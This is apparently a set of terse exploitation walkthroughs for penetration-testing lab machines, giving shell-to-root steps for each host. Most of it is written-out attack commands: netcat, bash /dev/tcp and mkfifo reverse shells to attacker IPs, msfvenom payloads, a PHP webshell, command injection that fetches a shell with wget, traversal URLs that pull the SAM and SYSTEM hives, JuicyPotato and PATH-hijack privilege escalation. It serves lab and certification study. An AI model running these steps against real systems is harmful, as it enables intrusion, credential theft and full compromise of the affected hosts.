LazyB (.41)	
Operating System	Linux
Points	20
Similar Machine (User)	HackTheBox's Canape
Similar Machine (Root)	VulnHub's Pluck

Exploit to Getting User

1. Port 5984 - CouchDB
2. couchdb httpd 1.6.0 exploit - https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
3. Modify exploit
4. Start netcat listener
5. User Shell!

Privilege Escalation to Root

1. SUID Binary - Exim 4.84-3
2. Use searchsploit
3. Modify 39535.sh
4. Run sed -i -e 's/\r$//' 39535.sh to fix errors
5. Run exploit
6. Root shell!

HomeStudy (.42)	
Operating System	Windows
Points	20
Similar Machine (User)	TryHackMe's Thompson
Similar Machine (Root)	HackTheBox's Bounty

Exploit to Getting User

First Way

1. https://www.exploit-db.com/exploits/42953
2. curl -X PUT http://192.168.52.42:8080/shell.jsp/ -d @- < shell.jsp
3. nc -lvnp 1337
4. User Shell!

Second Way

1. https://www.exploit-db.com/exploits/42966
2. python 42966.py -u http://192.168.XX.42:8080 -p pwn
3. nc -lvnp 1337
4. User shell!

Privilege Escalation to Root

1. Machine is using a Windows 10 Pro and the SeImpersonatePrivilege is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato
3. Upload a netcat binary to target machine and run the command:
   echo C:\Users\Rob\Desktop\nc.exe 192.168.123.123 12345 -e cmd.exe > rev.bat
4. Setup netcat listener in your local machine
5. Go to https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Pro and copy a CLSID
6. Run JuicyPotato.exe -l 12345 -p C:\Users\Rob\Desktop\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
7. Root shell!

October (.43)	
Operating System	Linux
Points	20
Similar Machine (User)	HackTheBox's October
Similar Machine (Root)	

Exploit to Getting User

1. Brute force directory and you should find /october
2. Brute force /directory folder and you should find config
3. Credential fyodor:picard
4. Upload a reverse shell (PHP) and should be located at /october/backend/cms/media
5. User shell!

Privilege Escalation to Root

1. Run Linux Enumeration and you should find SUID named NfsEn
2. Check for its version because it is vuln to https://github.com/patrickfreed/nfsen-exploit
3. Root shell!

Textian (.44)	
Operating System	Linux
Points	20
Similar Machine (User)	HackTheBox's Frolic
Similar Machine (Root)	HackTheBox's Haircut

Exploit to Getting User

1. Port 8787 is an http service
2. Check robots.txt and you should get a hidden directory
3. Credential admin:admin
4. Follow https://www.exploit-db.com/exploits/42003 and upload a CSV file
5. Capture the POST request using Burp and edit the file name to ***<?php echo exec('nc -lvnp 9000 > shell.php 2>&1'); ?>.php***
6. In your local machine, transfer the shell.php to target machine by running ***nc -nv 192.168.XX.53 9000 < shell.php***
7. Start a netcat listener to your machine and browse http://192.168.XX.53:8787/2315e8131432505230f581cf689e783a/shell.php
8. User shell!

Privilege Escalation to Root

1st Way - Linux Kernel

1. Exploit is https://www.exploit-db.com/exploits/45010
2. gcc -o 45010 45010.c
3. Send the binary to target machine and run
4. Root Shell!

2nd Way - Service

1. Run a Linux Enumeration Tool
2. You will see a setuid binary called screen-4.5.0 which is vulnerable to Local Privilege Escalation - https://www.exploit-db.com/exploits/41154
3. Setup a python server in your local machine and download the exploit to target machine
4. Run the exploit
5. Root shell!

Socket/WP (.46)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	

Exploit in Getting User

1. Gobuster the port 8081 - ***gobuster -u http://192.168.XX.46:8081 -w /opt/SecLists/Discovery/Web-Content/common.txt -x txt,php,asp,db***
2. CyBroHttpServer 1.0.3 is vulnerable to Directory Traversal - https://www.exploit-db.com/exploits/45303
3. http://192.168.XX.46:8081/..\..\..\..\xampp\htdocs\blog\wp-config.php
4. Get the credential & Connect to MySQL - ***mysql -u root -h 192.168.XX.46 -p***
5. Use ***wordpress*** database and ***select * from wp_users***
6. Run ***UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE `user_login`='admin';***
7. Login to http://192.168.XX.46/blog/wp-admin/
8. Go to Theme Editor and edit 404.php
9. Use PHP Reverse Shell and listen to your machine
10. User shell!

Privilege Escalation to Root

1. A System Scheduler service is installed in the machine located at ***C:\Program Files\SystemScheduler\WScheduler.exe*** and vulnerable to https://www.exploit-db.com/exploits/45072
2. Its permission is ***Everyone [WriteData/CreateFiles]*** and it will automatically run in startup because ***HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run***
3. Create an exe file using msfvenom - ***msfvenom -p windows/shell_reverse_tcp LHOST=192.168.XX.XX LPORT=443 -f exe -a x86 --platform win > WScheduler.exe***
4. Backup the original schedule in the target machine - ***move "C:\Program Files\SystemScheduler\WScheduler.exe" "C:\Program Files\SystemScheduler\WScheduler.back"***
5. Copy your reverse shell to target machine - ***copy \\192.168.XX.XX\LOVE\WScheduler.exe "C:\Program Files\SystemScheduler\"***
6. Restart the target machine - ***shutdown /R***
7. Root shell!

Vulcan (.53)	
Operating System	Linux
Points	20
Similar Machine (User)	TryHackMe's Kenobi
Similar Machine (Root)	

Exploit in Getting User

1. Port 20048 (mountd) is open so run ***showmount -e 192.168.XX.53***
2. Create a folder in your machine and run - ***mount -t nfs 192.168.XX.53:/ your_folder/ -no lock***
3. cd _0_tyken
4. Read notes.txt and you'll learn that the user tyken created an SSH key so you have to get it
5. FTP service is vulnerable to https://www.exploit-db.com/exploits/36803 (Unauth RCE)
6. ***nc 192.168.XX.53 21*** then ***cpfr /home/tyken/.ssh/id_rsa*** then ***cpto /var/tmp/id_rsa***
7. Connect to SSH - ***ssh -i id_rsa tyken@192.168.XX.53***
8. User shell!

Privilege Escalation to Root

1. Target machine is running a keybase-redirector and is vulnerable to https://www.exploit-db.com/exploits/46044
2. Create a fusermount.c

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv)
{
  setreuid(0,0);
  system("/usr/bin/touch /w00t");
  return(0);
}
```

3. Compile it - ***gcc -Wall fusermount.c -o fusermount*** and upload it to target machine
4. Prepend the PATH env variable with a dot and execute keybase-redirector which in turn will execute the malicious fusermount binary as root. - ***env PATH=.:$PATH /usr/bin/keybase-redirector /keybase***
5. Enter the control-c sequence to kill the application and run the ./w00t binary.
6. Root shell!

Codiod (.55)	
Operating System	Windows
Points	20
Similar Machine (User)	
Similar Machine (Root)	

Exploits in Getting User

1. Simple nmap will show /dashboard so directory brute force that
2. LFI in compontents/filemanager/download.php?path=../../../../../../../../../../xampp/security/webdav.htpasswd
3. Brute force the hash: john --wordlist=rockyou.txt hash.txt
4. Upload netcat: curl --user 'wampp:iamdifferent' -Tnc.exe http://192.168.XX.55/webdav/nc.exe
5. Upload the reverse shell using the same process above: <?php echo($_GET[‘cmd’]);?>
6. Start a netcat listener
7. curl --user 'wampp:iamdifferent' http://192.168.XX.55/webdav/cmd.php?cmd=nc+-e+cmd.exe+192.168.XX.XX+53
8. User Shell!

Privilege Escalation to Root

1. WebDAV Elevation of Privilege Vulnerability - CVE-2016-0051
2. Method 2 in https://hacknpentest.com/webdav-exploit-elevation-of-privilege/
3. Exploit: https://github.com/hexx0r/CVE-2016-0051
4. Root shell!

Tiki (.67)	
Operating System	Linux
Points	20
Similar Machine (User)	
Similar Machine (Root)	

Exploit in Getting User

1. Directory brute force port 8080
2. Tiki Wiki 15.1 - File Upload - https://www.exploit-db.com/exploits/40053
3. Run the exploit and access http://192.168.27.83:8080/tiki/vendor_extra/elfinder/files/evil.php
4. Execute commands: http://192.168.27.83:8080/tiki/vendor_extra/elfinder/files/evil.php?fexec=whoami
5. msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.XX.XX LPORT=4444 -f exe -o mrev.exe
6. http://192.168.27.83:8080/tiki/vendor_extra/elfinder/files/evil.php?fupload=mrev.exe
7. User shell!

Privilege Escalation to Root

1. SentryHD 02.01.12e - Local Privilege Escalation - https://www.exploit-db.com/exploits/41090
2. Root shell!

Ekzameno (.67)	
Operating System	Linux
Points	20
Similar Machine (User)	HackTheBox's Joker
Similar Machine (Root)	HackTheBox's Joker

Exploit in Getting User

1. Port 5000 is open and vulnerable to https://github.com/its-arun/Werkzeug-Debug-RCE
2. Use the exploit
3. User shell!

Privilege Escalation to Root

1. sudo -l
   sudoedit /var/www/html/werkzeug-master/examples/*/*/layout.html
2. https://www.exploit-db.com/exploits/37710
3. Root shell!

Harakiri (.81)	
Operating System	Windows
Points	25
Similar Machine (User)	HackTheBox's RedCross
Similar Machine (Root)	

Exploit in Getting User

1. Target machine has a service called Haraka smtpd 2.8.8 which is vulnerable to RCE - https://www.exploit-db.com/exploits/41162
2. Update the port in exploit to point it to target machine's smtp port
3. Get Reverse Shell - ***python 41162.py -m TARGET_IP -t root@haraka.test -c "reverse shell here"***
4. User shell!

Privilege Escalation to Root

1. Run sudo -l
2. Check the version of nagios - /usr/local/nagios/bin/nagios --version
3. Nagios is vulnerable to Root Privilege Escalation - https://gist.github.com/xl7dev/322b0f85dc9f6a06573302c7de4f4249
4. Run the exploit - bash nagios-root-privesc.sh /usr/local/nagios/var/nagios.log
5. Root shell!

Rocinante (.82)	
Operating System	Linux
Points	25
Similar Machine (User)	HackTheBox's RedCross
Similar Machine (Root)	

Exploit in Getting User

1. Run UDP Scan - ***sudo nmap -sU 192.168.XX.221***
2. Download snmp-mibs-downloader - ***apt-get install snmp-mibs-downloader***
3. SNMP is enabled so run this - ***snmpwalk -v 1 -c public 192.168.XX.221 >snmpwalk.out***
4. ***vim /etc/snmp/snmp.conf*** and and comment out the only uncommented line to use the mibs ***mibs +ALL***
5. Run ***snmpwalk -v 1 -c public 192.168.XX.221 hrSWRunParameters*** and you will get *HOST-RESOURCES-MIB::hrSWRunParameters.704 = STRING: "/usr/local/bin/paramiko_2.4.0_sftpserver.py 0.0.0.0 2222 /etc/ssl/roci_rsa.key"*
6. Edit proxychain - ***vim /etc/proxychains.conf*** and put ***http 192.168.XX.221 3128***
7. Then run - ***proxychains curl http://127.0.0.1:2222*** and you will get connected *|S-chain|-<>-192.168.32.221:3128-<><>-127.0.0.1:2222-<><>-OK SSH-2.0-paramiko_2.4.0*
8. Use Paramiko 2.4.1 exploit - https://www.exploit-db.com/exploits/45712
9. Edit the exploit
   Get local - print(sftp.get('/home/roci/local.txt','local.txt'))
   List Dir - print(sftp.listdir('/'))
10. Run **proxychains python exploit.py**
11. Or if you don't want to edit too much in Step 8 to 10. Use this to get reverse shell https://github.com/jm33-m0/CVE-2018-7750/blob/master/rce.py
12. User shell!

Privilege Escalation to Root

1. Follow https://www.exploit-db.com/exploits/1518
2. Check /etc/mysql/mariadb.conf.d/50-server.cnf and /etc/mysql/my.cnf
3. Change the line "user=mysql" to "user=root" in the file /etc/my.cnf.
4. mysql -u root -p
5. You may follow this https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/
6. Root shell!

V1RUS (.84)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	HackTheBox's Bounty

Exploit in Getting User

1. The https://192.168.XX.84/ is running a GitStack instance that is vulnerable to RCE - https://www.exploit-db.com/exploits/43777
2. Change the value of IP and command variable.
3. command = "C:/GitStack/gitphp/nc.exe 192.168.XX.43 1337 -e cmd.exe"
4. User shell!

Privilege Escalation to Root

1. The machine is running Windows Server 2009 and the SeImpersonatePrivilege is enabled.
2. Download JuicyPotato - https://github.com/ohpe/juicy-potato and send it to target machine
3. Upload a nc binary to target machine and run the command: echo C:/GitStack/gitphp/nc.exe 192.168.XX.43 1338 -c cmd.exe > rev.bat
4. Find CLSID for Windows Server 2019
5. Run JuicyPotato.exe -l 1338 -p C:\GitStack\gitphp\rev.bat -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
6. Root shell!

Bengine (85)	
Operating System	Windows
Points	20
Similar Machine (User)	TryHackMe's HackPark
Similar Machine (Root)	

Exploit in Getting User

1. Nmap reveals hidden directory in robots.txt - /blogengine
2. Look for exploits in searchsploit or follow this https://medium.com/@nickbhe/tryhackme-hackpark-writeup-db34b7957bef
3. User shell!

Privilege Escalation to Root

1. Vulnerable to SeCreateTokenPrivilege
2. Follow https://www.greyhathacker.net/?p=1025
3. Root shell!

thelongnight (.95)	
Operating System	Linux
Points	20
Similar Machine (User)	Code is similar to https://github.com/lolypop55/html5_snmp
Similar Machine (Root)	HackTheBox's Help

Exploit in Getting User

1. Go to Port 4080 and login as admin:admin
2. Command Injection in http://192.168.XX.95:4080/ping_router.php?cmd=1.1.1.1
3. Create php reverse shell -
   <?php exec("bash -c 'bash -i >& /dev/tcp/192.168.XX.XX/80 0>&1'"); ?>
4. Start a web server: *python -m SimpleHTTPServer 80*
5. Upload it via command injection - http://192.168.XX.95:4080/ping_router.php?cmd=1.1.1.1;wget+192.168.XX.XX/shell.php
6. Start Listener - *nc -lvnp 80*
7. Browser http://192.168.XX.95:4080/shell.php
8. User shell!

Privilege Escalation to Root

1. Machine Kernel is vulnerable to https://www.exploit-db.com/exploits/45010
2. wget http://x.x.x.x:143/45010.c -O /tmp/45010.c
3. gcc /tmp/45010.c -o /tmp/45010
4. ./tmp/45010
5. Root shell!

webpack (.96)	
Operating System	Linux
Points	20
Similar Machine (User)	TryHackMe's Ignite
Similar Machine (Root)	HackThebox's Jarvis

Exploit in Getting User

1. Run un gobuster on port 80 and you will get /index.php/fuel
2. Login as admin:admin
3. FuelCMS is vulnerable to https://www.exploit-db.com/exploits/47138
4. Modify the URL and directories
5. For the reverse shell make sure you use port 80 to bypass the iptables
6. User shell!

Privilege Escalation to Root

1. Run Linux Enumeration script
2. You will see it has systemctl
3. /var/www/html/assets/images/ is writable
4. Follow this - https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49
5. Root shell!

Recent Update for Priv.Esc.:

1. Locate Webmin's writable miniserv.users with Linux Enumeration script
2. Use openssl passwd -1 "yourpassword"
3. Overwrite the "x" in the miniserv.users with the hash generated
4. Run sudo systemctl restart webmin
5. Browse port 10000 and login with root/yourpassword
6. Execute nc in the System>Running Process
7. Root shell!

Asystole (.105)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	TryHackMe's Steel Mountain

Exploit in Getting User

1. Port 8081 is running FreeSWITCH
2. Use this exploit: https://www.exploit-db.com/exploits/47799
3. Copy the exploit and modify the file extension from txt to py
4. Run: python3 47799.py 192.168.XX.105 dir
5. dir is a command in windows =.=
6. Next step is to upload a netcat binary. For this one use Powershell
7. Execute reverse shell using netcat: python3 47799.py 192.168.XX.105 ".\nc.exe -nv 192.168.XX.XX 445 -e cmd.exe"
8. User shell!

Privilege Escalation to Root

1. Use winPEAS to gather info and look for a vulnerable service name.
2. The machine has a vulnerable service path (Unquoted Service Path)
3. Rename the existing service
4. Create a reverse shell (exe) in msfvenom
5. Upload it to the path folder of the service
6. Setup netcat listener
7. Reboot the target machine
8. Root!

b0f-vic (.111)	
Operating System	Windows
Points	25
Similar Machine (Root)	VulnHub's Brainpan

Steps to Root

1. Controlling Extended Instruction Pointer (EIP) Register - ruby /usr/share/metasploit-framework/tools/pattern_create.rb -l 3000
2. Run the Debugger and run the application then run the exploit
3. Get the EIP value - ruby /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q XXXXXXXX
4. Identify Bad Characters by modifying the exploit and putting the byte array.
5. Redirecting Execution Flow using Mona modules
6. !mona modules - to list down all the modules
7. Then look for modules that has no memory protections such as ASLR or DEP
8. Then make sure that it doesn't have bad characters in its address
9. The only module that is suited for my criteria is offsec_pwk_dll.dll
10. Double click the chosen dll
11. And input !mona find -s "\xff\xe4" -m offsec_pwk_dll.dll
12. Get the instruction address of JMP ESP
13. Create a shell code - msfvenom -p windows/shell_reverse_tcp LHOST=192.168.XX.43 LPORT=1337 -f c -a x86 --platform windows -b "BAD CHARS HERE"
14. Run the exploit
15. Root shell!

Not clear? Just follow the PDF or the Video provided by OSCP LOL.

Bob The Builder (.150)	
Operating System	Linux
Points	10
Similar Machine (Root)	VulnHub's Sedna

Steps to Root

1. Port 481 Directory Bruteforce the site to find /build
2. It is a BuilderEngine 3.5.0 - Arbitrary File Upload - https://www.exploit-db.com/exploits/40390
3. Modify the action attribute to point it to target machine
4. Upload PHP Shell
5. Access it on https://192.168.XX.150:481/build/files/shell.php
6. Root shell!

Locutus (.161)	
Operating System	Windows
Points	10
Similar Machine (Root)	

Steps to Root

1. Machine is vulnerable to https://www.exploit-db.com/exploits/46307
2. Run python 46307.py 192.168.XX.152 7337 "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc 192.168.XX.XX 1337 > /tmp/f"
3. Root shell!

Ashley Brown (.161)	
Operating System	Windows
Points	10
Similar Machine (Root)	

Steps to Root

1. Find the port for website
2. It is vulnerable to Directory Traversal and LFI - https://www.exploit-db.com/exploits/23318
3. Get the SAM - wget http://192.168.XX.161/..%5C..%5C..%5C..%5C..%5CWindows..%5CSystem32..%5Cconfig..%5CRegBack..%5CSAM.OLD -O sam.old
4. Get the SYSTEM - wget http://192.168.XX.161/..%5C..%5C..%5C..%5C..%5CWindows..%5CSystem32..%5Cconfig..%5CRegBack..%5CSYSTEM.OLD -O system.old
5. pwdump system.old sam.old and you will get the Hashes
6. Brute it with john
7. Login to RDP
8. Root shell!

Nagy (.153)	
Operating System	Linux
Points	10
Similar Machine (Root)	

Steps to Root

1. Nagios XI 5.5.6 - Remote Code Execution / Privilege Escalation - https://www.exploit-db.com/exploits/46221
2. Run python nagios.py -t 192.168.XX.216 -ip 192.168.XX.XX -port 8081 -ncip 192.168.XX.XX -ncport 443
3. User shell!

Alternative exploit: https://github.com/jakgibb/nagiosxi-root-rce-exploit

EDBMACHINE (.218)	
Operating System	Windows
Points	25
Similar Machine (User)	
Similar Machine (Root)	

Exploit in Getting User

1. Hidden directory in robots.txt
2. KikChat is vulnerable to https://www.exploit-db.com/exploits/30235
3. Confirm POC - ***curl -s http://192.168.31.218/8678576453/rooms/get.php\?name\=info.php\&ROOM\="<?php+phpinfo()+?>"***
4. ***allow_url_fopen*** and ***allow_url_include*** are On
5. Upload file to target machine and run - ***curl -s http://192.168.XX.218/8678576453/rooms/get.php\?name=shell1.php\&ROOM\="<?php+file_put_contents('nc.bat',file_get_contens('http://192.168.XX.XX/nc.txt'));system('nc.bat');usleep(2000000);system('nc.exe+-vn+192.168.XX.XX+1234+-cmd.exe');+?>"***
6. Run listener - ***nc -nlvp 1234***
7. User shell!

Privilege Escalation to Root

1. Use metasploit to create reverse shell in exe
2. Upload it on target machine same process as curl
3. Run execute -f C:/xampplite/htdocs/8678576453/myroom/evil.exe in metasploit
4. execute background and switch to new sessions sessions -i 2
5. Run getuid
6. Run getsystem
7. Run getuid
8. Root shell!